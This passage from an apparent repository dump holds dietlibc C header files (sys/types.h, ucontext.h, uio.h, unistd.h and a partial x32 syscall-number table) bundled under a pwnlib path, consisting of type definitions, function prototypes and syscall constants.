    "content": "#ifndef _SYS_TYPES_H\n#define _SYS_TYPES_H\n\n#include <inttypes.h>\n#include <stddef.h>\n\n__BEGIN_DECLS\n\ntypedef unsigned long int blkcnt_t;\t/* Used for file block counts */\ntypedef unsigned long int blksize_t;\t/* Used for block sizes */\ntypedef unsigned long int clock_t;\t/* Used for system times in\n\t\t\t\t\t   clock ticks or CLOCKS_PER_SEC\n\t\t\t\t\t   (see <time.h>). */\n\ntypedef uint64_t fsblkcnt_t;\ntypedef uint64_t fsfilcnt_t;\n\n/* TODO:\n     pthread_attr_t\n             Used to identify a thread attribute object.\n     pthread_cond_t\n             Used for condition variables.\n     pthread_condattr_t\n             Used to identify a condition attribute object.\n     pthread_key_t\n             Used for thread-specific data keys.\n     pthread_mutex_t\n             Used for mutexes.\n     pthread_mutexattr_t\n             Used to identify a mutex attribute object.\n     pthread_once_t\n             Used for dynamic package initialisation.\n     pthread_rwlock_t\n             Used for read-write locks.\n     pthread_rwlockattr_t\n             Used for read-write lock attributes.\n     pthread_t\n             Used to identify a thread.\n*/\n\n#if defined(__alpha__) || defined(__ia64__) || defined(__sparc64__) || defined(__s390x__) || defined(__aarch64__)\n    typedef uint32_t dev_t;\t\t/* Used for device IDs. */\n    typedef uint32_t gid_t;\t\t/* Used for group IDs. */\n    typedef uint32_t mode_t;\t\t/* Used for some file attributes. */\n    typedef uint32_t nlink_t;\t\t/* Used for link counts. */\n    typedef uint32_t uid_t;\t\t/* Used for user IDs. */\n#elif defined(__arm__) || defined(__i386__) || defined(__sparc__) || defined(__s390__) /* make sure __s390x__ hits before __s390__ */\n    typedef uint32_t dev_t;\n    typedef uint16_t gid_t;\n    typedef uint16_t mode_t;\n    typedef uint16_t nlink_t;\n    typedef uint16_t uid_t;\n#elif defined(__hppa__)\n    typedef uint32_t dev_t;\n    typedef uint32_t gid_t;\n    typedef uint16_t mode_t;\n    typedef uint16_t nlink_t;\n    typedef uint32_t uid_t;\n#elif defined(__mips__)\n    typedef uint32_t dev_t;\n    typedef int32_t gid_t;\n    typedef uint32_t mode_t;\n    typedef int32_t nlink_t;\n    typedef int32_t uid_t;\n#elif defined(__powerpc__) && !defined(__powerpc64__)\n    typedef uint32_t dev_t;\n    typedef uint32_t gid_t;\n    typedef uint32_t mode_t;\n    typedef uint16_t nlink_t;\n    typedef uint32_t uid_t;\n#elif defined(__powerpc64__) || defined(__x86_64__)\n    typedef unsigned long dev_t;\n    typedef uint32_t gid_t;\n    typedef uint32_t mode_t;\n    typedef unsigned long nlink_t;\n    typedef uint32_t uid_t;\n#endif\n\ntypedef int32_t id_t;\t\t\t/* Used as a general identifier; can be\n\t\t\t\t\t   used to contain at least a pid_t,\n\t\t\t\t\t   uid_t or a gid_t. */\ntypedef unsigned long ino_t;\t\t/* Used for file serial numbers. */\ntypedef int32_t key_t;\t\t\t/* Used for interprocess communication. */\ntypedef int32_t pid_t;\t\t\t/* Used for process IDs and process group IDs. */\n#ifdef __SIZE_TYPE__\n/* horrible kludge to make sure size_t and ssize_t are both long or both int */\n#define unsigned signed\ntypedef __SIZE_TYPE__ ssize_t;\n#undef unsigned\n#else\ntypedef signed long ssize_t;\t\t/* Used for a count of bytes or an error indication. */\n#endif\n#if (defined(__sparc__) && (__arch64__)) || defined(__sparcv9)\n/* sparc64 has 32bit suseconds_t for some reason, even though struct\n * timeval is padded to 16 bytes anyway. */\ntypedef signed int suseconds_t;\t\t/* Used for time in microseconds. */\ntypedef signed int useconds_t;\t\t/* Used for time in microseconds. */\n#else\ntypedef signed long suseconds_t;\t/* Used for time in microseconds. */\ntypedef signed long useconds_t;\t\t/* Used for time in microseconds. */\n#endif\n#if defined(__x86_64__) && defined(__ILP32__)\ntypedef signed long long time_t;\n#else\ntypedef signed long time_t;\t\t/* Used for time in seconds. */\n#endif\n\n/* non-susv2 types: */\n__extension__ typedef signed long long loff_t;\t/* 64-bit offset */\n\n__extension__ typedef signed long long off64_t;\n#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64\ntypedef off64_t off_t;\n#else\n\n#if defined(__x86_64__) && defined(__ILP32__)\ntypedef off64_t off_t;\n#else\ntypedef signed long off_t;             /* Used for file sizes. */\n#endif\n#endif\n\n__extension__ typedef unsigned long long ino64_t;\n__extension__ typedef signed long long blkcnt64_t;\n\ntypedef uint32_t uid32_t;\ntypedef uint32_t gid32_t;\n\ntypedef int32_t clockid_t;\ntypedef int32_t timer_t;\n\ntypedef long int fpos_t;\n\n#define __socklen_t_defined\ntypedef uint32_t socklen_t;\ntypedef uint16_t sa_family_t;\n\n\n#ifdef _BSD_SOURCE\n/* die, BSD, die! */\ntypedef char* caddr_t __attribute_dontuse__;\ntypedef unsigned char u_char __attribute_dontuse__;\ntypedef unsigned short u_short __attribute_dontuse__;\ntypedef unsigned int u_int __attribute_dontuse__;\ntypedef unsigned char uchar __attribute_dontuse__;\ntypedef unsigned short ushort __attribute_dontuse__;\ntypedef unsigned int uint __attribute_dontuse__;\ntypedef unsigned long u_long __attribute_dontuse__;\ntypedef uint32_t n_long __attribute_dontuse__;\ntypedef uint32_t n_time __attribute_dontuse__;\ntypedef uint16_t n_short __attribute_dontuse__;\ntypedef unsigned long ulong __attribute_dontuse__;\ntypedef uint32_t nlong __attribute_dontuse__;\ntypedef uint32_t ntime __attribute_dontuse__;\ntypedef uint16_t nshort __attribute_dontuse__;\n\n/* never heard of these two, but dump uses them */\n#if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L\ntypedef int64_t quad_t __attribute_dontuse__;\ntypedef uint64_t u_quad_t __attribute_dontuse__;\n#endif\ntypedef long daddr_t __attribute_dontuse__;\n\ntypedef daddr_t __daddr_t __attribute_dontuse__;\n#endif\n\n#ifdef _GNU_SOURCE\ntypedef uint8_t u_int8_t __attribute_dontuse__;\ntypedef uint16_t u_int16_t __attribute_dontuse__;\ntypedef uint32_t u_int32_t __attribute_dontuse__;\n#if !defined(__STRICT_ANSI__) || __STDC_VERSION__ + 0 >= 199900L\ntypedef uint64_t u_int64_t __attribute_dontuse__;\n#endif\n#endif\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/ucontext.h",
    "content": "#ifndef _SYS_UCONTEXT_H\n#define _SYS_UCONTEXT_H\n\n#include <asm/sigcontext.h>\n#include <signal.h>\n\n__BEGIN_DECLS\n\n#if !defined(__sparc__) && !defined(__sparc64__)\ntypedef struct sigcontext mcontext_t;\n#endif\n\n#if defined(__i386__) || defined(__x86_64__) || defined(__arm__) || defined(__mips__) || defined(__mips64__) || defined(__powerpc__) || defined(__powerpc64__) || defined(__hppa__)\nstruct ucontext {\n  unsigned long\t\tuc_flags;\n  struct ucontext\t*uc_link;\n  stack_t\t\tuc_stack;\n  struct sigcontext\tuc_mcontext;\n  sigset_t\t\tuc_sigmask;\t/* mask last for extensibility */\n#if defined(__i386__) || defined(__x86_64__)\n  struct _fpstate\t__fpregs_mem;\n#endif\n};\n#elif defined(__alpha__)\nstruct ucontext {\n  unsigned long\t\tuc_flags;\n  struct ucontext\t*uc_link;\n  unsigned long\t\tuc_osf_sigmask;\n  stack_t\t\tuc_stack;\n  struct sigcontext\tuc_mcontext;\n  sigset_t\t\tuc_sigmask;\t/* mask last for extensibility */\n};\n#elif defined(__sparc__) || defined(__sparc64__)\n\n#define MC_TSTATE\t0\n#define MC_PC\t\t1\n#define MC_NPC\t\t2\n#define MC_Y\t\t3\n#define MC_G1\t\t4\n#define MC_G2\t\t5\n#define MC_G3\t\t6\n#define MC_G4\t\t7\n#define MC_G5\t\t8\n#define MC_G6\t\t9\n#define MC_G7\t\t10\n#define MC_O0\t\t11\n#define MC_O1\t\t12\n#define MC_O2\t\t13\n#define MC_O3\t\t14\n#define MC_O4\t\t15\n#define MC_O5\t\t16\n#define MC_O6\t\t17\n#define MC_O7\t\t18\n#define MC_NGREG\t19\n\ntypedef unsigned long mc_greg_t;\ntypedef mc_greg_t mc_gregset_t[MC_NGREG];\n\n#define MC_MAXFPQ\t16\nstruct mc_fq {\n  unsigned long\t\t*mcfq_addr;\n  unsigned int\t\tmcfq_insn;\n};\n\ntypedef struct mc_fpu {\n  union {\n    unsigned int\tsregs[32];\n    unsigned long\tdregs[32];\n    long double\t\tqregs[16];\n  } mcfpu_fregs;\n  unsigned long\t\tmcfpu_fsr;\n  unsigned long\t\tmcfpu_fprs;\n  unsigned long\t\tmcfpu_gsr;\n  struct mc_fq\t\t*mcfpu_fq;\n  unsigned char\t\tmcfpu_qcnt;\n  unsigned char\t\tmcfpu_qentsz;\n  unsigned char\t\tmcfpu_enab;\n} mc_fpu_t;\n\ntypedef struct {\n  mc_gregset_t\tmc_gregs;\n  mc_greg_t\tmc_fp;\n  mc_greg_t\tmc_i7;\n  mc_fpu_t\tmc_fpregs;\n} mcontext_t;\n\nstruct ucontext {\n  struct ucontext         *uc_link;\n  unsigned long           uc_flags;\n  unsigned long           __uc_sigmask;\n  mcontext_t              uc_mcontext;\n  stack_t                 uc_stack;\n  sigset_t                uc_sigmask;\n};\n#elif defined(__s390__)\nstruct ucontext {\n  unsigned long\t\tuc_flags;\n  struct ucontext\t*uc_link;\n  stack_t\t\tuc_stack;\n  _sigregs\t\tuc_mcontext;\n  sigset_t\t\tuc_sigmask;\t/* mask last for extensibility */\n};\n#elif defined(__aarch64__)\nstruct ucontext {\n  unsigned long\t\tuc_flags;\n  struct ucontext\t*uc_link;\n  stack_t\t\tuc_stack;\n  sigset_t\t\tuc_sigmask;\n  mcontext_t\t\tuc_mcontext;\n};\n#elif defined(__ia64__)\n\n/* oh my god is this ugly!  --fefe*/\nstruct ucontext {\n  struct sigcontext uc_mcontext;\n};\n\n#define uc_link\t\tuc_mcontext.sc_gr[0]\t/* wrong type; nobody cares */\n#define uc_sigmask\tuc_mcontext.sc_sigmask\n#define uc_stack\tuc_mcontext.sc_stack\n\n#else\n#error NEED TO PORT <sys/sigcontext.h>!\n#endif\n\ntypedef struct ucontext ucontext_t;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sys/uio.h",
    "content": "#ifndef _SYS_UIO\n#define _SYS_UIO 1\n\n#include <sys/socket.h>\n\n__BEGIN_DECLS\n\nstruct iovec {\n  void* iov_base;\t/* BSD uses caddr_t (1003.1g requires void *) */\n  size_t iov_len;\t/* Must be size_t (1003.1g) */\n};\n\n/* I have no idea why susv3 specifies count as int instead of size_t */\nssize_t readv(int filedes, const struct iovec *vector, int count) __THROW;\nssize_t writev(int filedes, const struct iovec *vector, int count) __THROW;\n\nssize_t preadv(int fd, const struct iovec *iov, int iovcnt, off_t offset) __THROW;\nssize_t pwritev(int fd, const struct iovec *iov, int iovcnt, off_t offset) __THROW;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/unistd.h",
    "content": "#ifndef _UNISTD_H\n#define _UNISTD_H\n\n#include <sys/cdefs.h>\n#include <sys/types.h>\n#include <endian.h>\n#include <sys/fsuid.h>\n#include <sys/select.h>\n\n__BEGIN_DECLS\n\nextern int optind,opterr,optopt;\nextern char *optarg;\n__attribute__((__warn_unused_result__))\nint getopt(int argc, char *const argv[], const char *options);\n\n/* Values for the second argument to access.\n   These may be OR'd together.  */\n#define R_OK 4 /* Test for read permission.  */\n#define W_OK 2 /* Test for write permission.  */\n#define X_OK 1 /* Test for execute permission.  */\n#define F_OK 0 /* Test for existence.  */\n\n/* Test for access to NAME using the real UID and real GID.  */\n__attribute__((__warn_unused_result__))\nint access (const char *__name, int __type) __THROW;\n\n#ifndef SEEK_SET\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#endif\n\n#define STDIN_FILENO   0\n#define STDOUT_FILENO  1\n#define STDERR_FILENO  2\n\noff_t lseek(int fildes, off_t offset, int whence) __THROW;\n#if !defined(__OFF_T_MATCHES_OFF64_T)\nloff_t lseek64(int fildes, loff_t offset, int whence) __THROW;\n#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64\n#define lseek(fildes,offset,whence) lseek64(fildes,offset,whence)\n#endif\n#else\n#define lseek64(fildes,offset,whence) lseek(fildes,offset,whence)\n#endif\n\nint chdir(const char *path) __THROW;\nint fchdir(int fd) __THROW;\nint rmdir(const char *pathname) __THROW;\n__writememsz__(1,2)\n__attribute__((__warn_unused_result__))\nchar *getcwd(char *buf, size_t size) __THROW;\n\n#ifdef _GNU_SOURCE\n__attribute__((__warn_unused_result__))\n__attribute_dontuse__\nchar *get_current_dir_name (void) __THROW;\n\n__attribute__((__warn_unused_result__))\nint pipe2(int pipefd[2], int flags) __THROW;\n#endif\n\n__attribute__((__warn_unused_result__))\nint open(const char* pathname,int flags, ...) __THROW;\n\n__attribute__((__warn_unused_result__))\nint open64(const char* pathname,int flags, ...) __THROW;\n\n__attribute__((__warn_unused_result__))\nint creat(const char* pathname,mode_t mode) __THROW;\n\n__attribute__((__warn_unused_result__))\nint creat64(const char* pathname,mode_t mode) __THROW;\n\n__readmemsz__(2,3)\nssize_t write(int fd,const void* buf,size_t len) __THROW;\n\n__attribute__((__warn_unused_result__))\n__writememsz__(2,3)\nssize_t read(int fd,void* buf,size_t len) __THROW;\n\n// technically this should be __warn_unused_result__ too because on NFS\n// you only know that the data has actually reached the server if the\n// close comes back successful. OTOH NFS is almost dead, and this would\n// give a ton of annoying warnings.\nint close(int fd) __THROW;\n\nint unlink(const char *pathname) __THROW;\n\n__attribute__((__warn_unused_result__))\n__writememsz__(2,3)\nssize_t pread(int fd, void *buf, size_t count, off_t offset);\n\n__readmemsz__(2,3)\nssize_t pwrite(int fd, const void *buf, size_t count, off_t offset);\n\n__attribute__((__warn_unused_result__))\n__writememsz__(2,3)\nssize_t pread64(int fd, void *buf, size_t count, off64_t offset);\n\n__readmemsz__(2,3)\nssize_t pwrite64(int fd, const void *buf, size_t count, off64_t offset);\n\nint execve(const char *filename, char *const argv [], char *const envp[]) __THROW;\nint execlp(const char *file, const char *arg, ...) __THROW;\nint execv(const char *path, char *const argv[]) __THROW;\nint execvp(const char *file, char *const argv[]) __THROW;\nint execl(const char *path, const char* arg, ...) __THROW;\nint execle(const char *path, const char* arg, ...) __THROW;\n\n__attribute__((__warn_unused_result__))\npid_t getpid(void) __THROW __pure;\n\n__attribute__((__warn_unused_result__))\npid_t getppid(void) __THROW __pure;\n\nint setpgid (pid_t pid,pid_t pgid) __THROW;\npid_t getpgid (pid_t pid) __THROW;\n\n__attribute__((__warn_unused_result__))\nint setpgrp (void) __THROW;\n\n__attribute__((__warn_unused_result__))\npid_t getpgrp (void) __THROW;\n\n__attribute__((__warn_unused_result__))\npid_t getsid(pid_t pid) __THROW;\n\n__attribute__((__warn_unused_result__))\npid_t setsid (void) __THROW;\n\n// even if you just closed an fd and know the new fd this could still\n// fail because the file descriptor table is full and you need to check\n// the result\n__attribute__((__warn_unused_result__))\nint dup (int oldfd) __THROW;\n\n__attribute__((__warn_unused_result__))\nint dup2 (int oldfd,int newfd) __THROW;\n\n#ifdef _GNU_SOURCE\n__attribute__((__warn_unused_result__))\nint dup3(int oldfd, int newfd, int flags) __THROW;\n\n/* flags for memfd_create(2) (unsigned int) */\n#define MFD_CLOEXEC\t\t0x0001U\n#define MFD_ALLOW_SEALING\t0x0002U\n\n__attribute__((__warn_unused_result__))\nint memfd_create(const char* name, unsigned int flags) __THROW;\n\nint syncfs(int fd) __THROW;\n#endif\n\nstruct dirent;\nstruct dirent64;\n\n__attribute__((__warn_unused_result__))\nint getdents(int fd, struct dirent *dirp, unsigned int count) __THROW;\n\n__attribute__((__warn_unused_result__))\nint getdents64(int fd, struct dirent64 *dirp, unsigned int count) __THROW;\n\n__attribute__((__warn_unused_result__))\npid_t fork(void) __THROW;\n\n__attribute__((__warn_unused_result__))\npid_t vfork(void) __THROW;\n\n__attribute__((__warn_unused_result__))\n__writememsz__(2,3)\nint readlink(const char *path, char *buf, size_t bufsiz) __THROW;\n\n__attribute__((__warn_unused_result__))\nint symlink(const char *oldpath, const char *newpath) __THROW;\n\n__attribute__((__warn_unused_result__))\nint link(const char *oldpath, const char *newpath) __THROW;\n\n__attribute__((__warn_unused_result__))\nint chown(const char *path, uid_t owner, gid_t group) __THROW;\n\n__attribute__((__warn_unused_result__))\nint fchown(int fd, uid_t owner, gid_t group) __THROW;\n\n__attribute__((__warn_unused_result__))\nint lchown(const char *path, uid_t owner, gid_t group) __THROW;\n\n// if you do not check the return value you might as well not call fsync\n// in the first place\n__attribute__((__warn_unused_result__))\nint fsync(int fd) __THROW;\n\n#define _POSIX_SYNCHRONIZED_IO\n__attribute__((__warn_unused_result__))\nint fdatasync(int fd) __THROW;\n\n__attribute__((__warn_unused_result__))\nint pipe(int filedes[2]) __THROW;\n\n__attribute__((__warn_unused_result__))\nchar *ttyname (int desc) __THROW;\n\n__attribute__((__warn_unused_result__))\nint brk(void *end_data_segment) __THROW;\n\n__attribute__((__warn_unused_result__))\nvoid *sbrk(ptrdiff_t increment) __THROW;\n\n__writememsz__(1,2)\nint gethostname(char *name, size_t len) __THROW;\n\n__attribute__((__warn_unused_result__))\n__readmemsz__(1,2)\nint sethostname(const char *name, size_t len) __THROW;\n\nint usleep(unsigned long useconds) __THROW;\nunsigned int sleep(unsigned int seconds) __THROW;\n\nunsigned int alarm(unsigned int seconds) __THROW;\nint sync(void) __THROW;\n\n__attribute__((__warn_unused_result__))\nint isatty(int desc) __THROW;\n\nvoid _exit(int status) __THROW __attribute__((__noreturn__));\n\n__attribute__((__warn_unused_result__))\nint daemon(int nochdir,int noclose) __THROW;\n\nint pause(void) __THROW;\n\n__attribute__((__warn_unused_result__))\nchar* getlogin(void) __THROW;\n/* warning: the diet libc getlogin() simply returns getenv(\"LOGNAME\") */\n\n__attribute__((__warn_unused_result__))\nint chroot(const char *path) __THROW;\n\n__attribute__((__warn_unused_result__))\nuid_t getuid(void) __THROW;\n\n__attribute__((__warn_unused_result__))\nuid_t geteuid(void) __THROW;\n\n__attribute__((__warn_unused_result__))\ngid_t getgid(void) __THROW;\n\n__attribute__((__warn_unused_result__))\ngid_t getegid(void) __THROW;\n\n__attribute__((__warn_unused_result__))\nint setuid(uid_t uid) __THROW;\n\n/* int seteuid(uid_t uid) __THROW; */\nint setgid(gid_t gid) __THROW;\n/* int setegid(gid_t gid) __THROW; */\n__attribute__((__warn_unused_result__))\nint setregid(gid_t rgid, gid_t egid) __THROW;\n\n__attribute__((__warn_unused_result__))\nint setreuid(uid_t ruid, uid_t euid) __THROW;\n#define seteuid(euid) setreuid(-1,euid)\n#define setegid(egid) setregid(-1,egid)\n\n// if this is your file (you created it or have it open), use ftruncate instead\n// otherwise you risk filesystem races with other processes\n__attribute__((__warn_unused_result__))\nint truncate(const char *path, off_t length) __THROW;\n\nint ftruncate(int fd, off_t length) __THROW;\n\n#if __WORDSIZE == 32\n__attribute__((__warn_unused_result__))\nint truncate64(const char *path, loff_t length) __THROW;\nint ftruncate64(int fd, loff_t length) __THROW;\n#endif\n\nint nice(int inc) __THROW;\n\n#ifdef _XOPEN_SOURCE\n__attribute__((__warn_unused_result__))\nchar *crypt(const char *key, const char *salt) __THROW;\n\nvoid encrypt(char block[64], int edflag) __THROW;\nvoid setkey(const char *key) __THROW;\n#endif\n\n#ifdef _GNU_SOURCE\n__attribute__((__warn_unused_result__))\nchar* md5crypt(const char* key, const char* salt) __THROW;\n\n__attribute__((__warn_unused_result__))\nchar* sha256_crypt(const char* key, const char* salt) __THROW;\n\n__attribute__((__warn_unused_result__))\nchar* sha512_crypt(const char* key, const char* salt) __THROW;\n#endif\n\n__attribute__((__warn_unused_result__))\nint getpagesize(void) __THROW __attribute__((__const__));\n\n__writememsz__(1,2)\nint getdomainname(char *name, size_t len) __THROW;\n__readmemsz__(1,2)\nint setdomainname(const char *name, size_t len) __THROW;\n\n__attribute__((__warn_unused_result__))\nint getgroups(int size, gid_t list[]) __THROW;\n\n__attribute__((__warn_unused_result__))\nint getdtablesize(void) __THROW;\n\n__attribute__((__warn_unused_result__))\nchar *getpass(const char * prompt) __THROW;\n\n/* warning: linux specific: */\nint llseek(int fildes, unsigned long hi, unsigned long lo, loff_t* result,int whence) __THROW;\n\n/* include <linux/sysctl.h> to get all the definitions! */\nstruct __sysctl_args;\nint _sysctl(struct __sysctl_args *args) __THROW;\n\n#define _CS_PATH 1\n__writememsz__(2,3)\nsize_t confstr(int name,char*buf,size_t len) __THROW;\n\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF _SC_NPROCESSORS_ONLN\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n__attribute__((__warn_unused_result__))\nlong sysconf(int name) __THROW;\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n\n__attribute__((__warn_unused_result__))\npid_t tcgetpgrp(int fd) __THROW;\n\n__attribute__((__warn_unused_result__))\nint tcsetpgrp(int fd, pid_t pgrpid) __THROW;\n\n__writememsz__(1,2)\nint profil(unsigned short *buf, size_t bufsiz, size_t offset, unsigned int scale);\n\n/* Linux only: */\nint getresuid(uid_t *ruid, uid_t *euid, uid_t *suid) __THROW;\nint getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid) __THROW;\n\n// Note: there are cases where setresuid() can fail even when the caller\n// is UID 0; it is a  grave  security  error  to omit checking for a\n// failure return from setresuid().\n__attribute__((__warn_unused_result__))\nint setresuid(uid_t ruid, uid_t euid, uid_t suid) __THROW;\n\n__attribute__((__warn_unused_result__))\nint setresgid(gid_t rgid, gid_t egid, gid_t sgid) __THROW;\n\n/* 32-bit uid support */\nint chown32(const char *path, uid32_t owner, gid32_t group) __THROW;\nint fchown32(int fd, uid32_t owner, gid32_t group) __THROW;\nint lchown32(const char *path, uid32_t owner, gid32_t group) __THROW;\n\n__attribute__((__warn_unused_result__))\nuid32_t getuid32(void) __THROW;\n__attribute__((__warn_unused_result__))\nuid32_t geteuid32(void) __THROW;\n__attribute__((__warn_unused_result__))\ngid32_t getgid32(void) __THROW;\n__attribute__((__warn_unused_result__))\ngid32_t getegid32(void) __THROW;\n__attribute__((__warn_unused_result__))\nint setuid32(uid32_t uid) __THROW;\nint setgid32(gid32_t gid) __THROW;\n__attribute__((__warn_unused_result__))\nint setreuid32(uid32_t ruid, uid32_t euid) __THROW;\nint setregid32(gid32_t rgid, gid32_t egid) __THROW;\n#define seteuid32(euid) setreuid32(-1,euid)\n#define setegid32(egid) setregid32(-1,egid)\nint getgroups32(int size, gid32_t list[]) __THROW;\nint getresuid32(uid32_t *ruid, uid32_t *euid, uid32_t *suid);\nint getresgid32(gid32_t *rgid, gid32_t *egid, gid32_t *sgid);\n__attribute__((__warn_unused_result__))\nint setresuid32(uid32_t ruid, uid32_t euid, uid32_t suid) __THROW;\nint setresgid32(gid32_t rgid, gid32_t egid, gid32_t sgid) __THROW;\n\n#ifdef _BSD_SOURCE\nchar *getusershell(void) __attribute_dontuse__;\nvoid setusershell(void) __attribute_dontuse__;\nvoid endusershell(void) __attribute_dontuse__;\n#endif\n\n/* this is so bad, we moved it to -lcompat */\n#define   L_cuserid   17\nchar* cuserid(char * string); /* ugh! */\n\n#define   _POSIX_VERSION  199506L\n\n#define F_ULOCK 0\t/* Unlock a previously locked region.  */\n#define F_LOCK  1\t/* Lock a region for exclusive use.  */\n#define F_TLOCK 2\t/* Test and lock a region for exclusive use.  */\n#define F_TEST  3\t/* Test a region for other processes locks.  */\n\nint lockf (int __fd, int __cmd, off_t __len) __THROW;\nint lockf64 (int __fd, int __cmd, off64_t __len) __THROW;\n\n__writememsz__(2,3)\nvoid swab(const void *src, void *dest, ssize_t nbytes) __THROW;\n\nint vhangup(void) __THROW;\n\nextern char **__environ;\n\n#if __WORDSIZE == 32\n#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64\n#define open open64\n#define creat creat64\n#define truncate truncate64\n#define ftruncate ftruncate64\n#define getdents getdents64\n#endif\n#endif\n\n#if defined(_LINUX_SOURCE)\nint pivot_root(const char *new_root, const char *put_old) __THROW;\n/* Linux 2.6 module loading infrastructure:\n * init_module takes a buffer where you read the module file into */\nlong init_module(void *module, unsigned long len, const char *options) __THROW;\n/* flags can be O_EXCL | O_NONBLOCK | O_TRUNC (forced unloading)\n * O_EXCL is there so the kernel can spot old rmmod versions */\nlong delete_module(const char* name,unsigned int flags) __THROW;\npid_t gettid(void) __THROW __pure;\nint tkill(pid_t tid, int sig) __THROW;\nint tgkill(pid_t tgid, pid_t tid, int sig) __THROW;\n/* see linux/fadvise.h */\nlong fadvise64(int fd,off64_t offset,size_t len,int advice) __THROW;\nlong fadvise64_64(int fd,off64_t offset,off64_t len,int advice) __THROW;\n\n#endif\n\n#if defined(_ATFILE_SOURCE) || ((_XOPEN_SOURCE + 0) >= 700) || ((_POSIX_C_SOURCE + 0) >= 200809L)\n/* also include fcntl.h for the AT_* constants */\n\n__attribute__((__warn_unused_result__))\nint faccessat(int dirfd, const char *pathname, int mode, int flags) __THROW;\n\n__attribute__((__warn_unused_result__))\nint fchownat(int dirfd, const char *pathname, uid_t owner, gid_t group, int flags) __THROW;\n\n__attribute__((__warn_unused_result__))\nint linkat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath, int flags) __THROW;\n\n__attribute__((__warn_unused_result__))\n__writememsz__(3,4)\nint readlinkat(int dirfd, const char *pathname, char *buf, size_t bufsiz) __THROW;\n#endif\n\n#define _POSIX_MAPPED_FILES 200809L\n\n__attribute__((__warn_unused_result__))\n__writememsz__(1,2)\nint getentropy(void* buf,size_t buflen) __THROW;\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/x32/syscalls.h",
    "content": "/* the x32 syscall bit is 0x40000000 but we handle that inside our\n * unified syscall, not here, so we can have a tiny optimization for\n * small syscall numbers. We still leave the #define in so we can cut\n * and paste from\n * /usr/src/linux/arch/x86/include/generated/uapi/asm/unistd_x32.h */\n#define __X32_SYSCALL_BIT 0\n\n#define __NR_read (__X32_SYSCALL_BIT + 0)\n#define __NR_write (__X32_SYSCALL_BIT + 1)\n#define __NR_open (__X32_SYSCALL_BIT + 2)\n#define __NR_close (__X32_SYSCALL_BIT + 3)\n#define __NR_stat (__X32_SYSCALL_BIT + 4)\n#define __NR_fstat (__X32_SYSCALL_BIT + 5)\n#define __NR_lstat (__X32_SYSCALL_BIT + 6)\n#define __NR_poll (__X32_SYSCALL_BIT + 7)\n#define __NR_lseek (__X32_SYSCALL_BIT + 8)\n#define __NR_mmap (__X32_SYSCALL_BIT + 9)\n#define __NR_mprotect (__X32_SYSCALL_BIT + 10)\n#define __NR_munmap (__X32_SYSCALL_BIT + 11)\n#define __NR_brk (__X32_SYSCALL_BIT + 12)\n#define __NR_rt_sigprocmask (__X32_SYSCALL_BIT + 14)\n#define __NR_pread64 (__X32_SYSCALL_BIT + 17)\n#define __NR_pwrite64 (__X32_SYSCALL_BIT + 18)\n#define __NR_access (__X32_SYSCALL_BIT + 21)\n#define __NR_pipe (__X32_SYSCALL_BIT + 22)\n#define __NR_select (__X32_SYSCALL_BIT + 23)\n#define __NR_sched_yield (__X32_SYSCALL_BIT + 24)\n#define __NR_mremap (__X32_SYSCALL_BIT + 25)\n#define __NR_msync (__X32_SYSCALL_BIT + 26)\n#define __NR_mincore (__X32_SYSCALL_BIT + 27)\n#define __NR_madvise (__X32_SYSCALL_BIT + 28)\n#define __NR_shmget (__X32_SYSCALL_BIT + 29)\n#define __NR_shmat (__X32_SYSCALL_BIT + 30)\n#define __NR_shmctl (__X32_SYSCALL_BIT + 31)\n#define __NR_dup (__X32_SYSCALL_BIT + 32)\n#define __NR_dup2 (__X32_SYSCALL_BIT + 33)\n#define __NR_pause (__X32_SYSCALL_BIT + 34)\n#define __NR_nanosleep (__X32_SYSCALL_BIT + 35)\n#define __NR_getitimer (__X32_SYSCALL_BIT + 36)\n#define __NR_alarm (__X32_SYSCALL_BIT + 37)\n#define __NR_setitimer (__X32_SYSCALL_BIT + 38)\n#define __NR_getpid (__X32_SYSCALL_BIT + 39)\n#define __NR_sendfile (__X32_SYSCALL_BIT + 40)\n#define __NR_socket (__X32_SYSCALL_BIT + 41)\n#define __NR_connect (__X32_SYSCALL_BIT + 42)\n#define __NR_accept (__X32_SYSCALL_BIT + 43)\n#define __NR_sendto (__X32_SYSCALL_BIT + 44)\n#define __NR_shutdown (__X32_SYSCALL_BIT + 48)\n#define __NR_bind (__X32_SYSCALL_BIT + 49)\n#define __NR_listen (__X32_SYSCALL_BIT + 50)\n#define __NR_getsockname (__X32_SYSCALL_BIT + 51)\n#define __NR_getpeername (__X32_SYSCALL_BIT + 52)\n#define __NR_socketpair (__X32_SYSCALL_BIT + 53)\n#define __NR_clone (__X32_SYSCALL_BIT + 56)\n#define __NR_fork (__X32_SYSCALL_BIT + 57)\n#define __NR_vfork (__X32_SYSCALL_BIT + 58)\n#define __NR_exit (__X32_SYSCALL_BIT + 60)\n#define __NR_wait4 (__X32_SYSCALL_BIT + 61)\n#define __NR_kill (__X32_SYSCALL_BIT + 62)\n#define __NR_uname (__X32_SYSCALL_BIT + 63)\n#define __NR_semget (__X32_SYSCALL_BIT + 64)\n#define __NR_semop (__X32_SYSCALL_BIT + 65)\n#define __NR_semctl (__X32_SYSCALL_BIT + 66)\n#define __NR_shmdt (__X32_SYSCALL_BIT + 67)\n#define __NR_msgget 